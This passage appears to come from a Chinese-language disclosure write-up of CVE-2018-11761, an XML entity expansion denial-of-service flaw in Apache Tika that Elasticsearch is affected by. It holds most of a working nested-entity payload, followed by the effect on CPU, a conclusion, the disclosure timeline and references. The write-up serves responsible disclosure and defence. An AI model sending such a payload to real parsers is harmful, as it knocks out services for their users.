0000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>
* 然后，CPU利用率会迅速且明显地增加。
# 结论
此漏洞实际上是由Apache Tika XML解析器实现引起的。同时，我认为所有使用Tika解析XML文件的服务也会受到影响。
# 时间线
* 2018-07-25: 向Apache安全团队和Elastic产品安全团队报告。
* 2018-07-26: 收到Apache Tika PMC的确认和确认。
* 2018-07-27: 收到Elastic产品安全的确认。
* 2018-09-19: 收到Apache Tika团队关于[CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E)的公告，并确认该问题已在Apache Tika 1.19或更高版本中修复。
* 2018-11-27: Elastic产品安全团队确认ElasticSearch 6.4.3已修复该问题。
# 参考
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185